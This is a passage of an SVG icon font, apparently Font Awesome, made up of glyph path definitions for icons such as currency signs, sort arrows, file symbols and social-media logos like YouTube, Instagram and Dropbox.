d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" 
d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="collapse" unicode="&#xf150;" 
d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_317" unicode="&#xf152;" 
d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
t53 -63.5t31.5 -76.5t13 -94z" />
    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
    <glyph glyph-name="file" unicode="&#xf15b;" 
d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
    <glyph glyph-name="file_text" unicode="&#xf15c;" 
d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
l230 -662h70z" />
    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
v119h121z" />
    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" 
d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
q25 45 64 45h241q22 0 31 -15z" />
    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
    <glyph glyph-name="adn" unicode="&#xf170;" 
d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
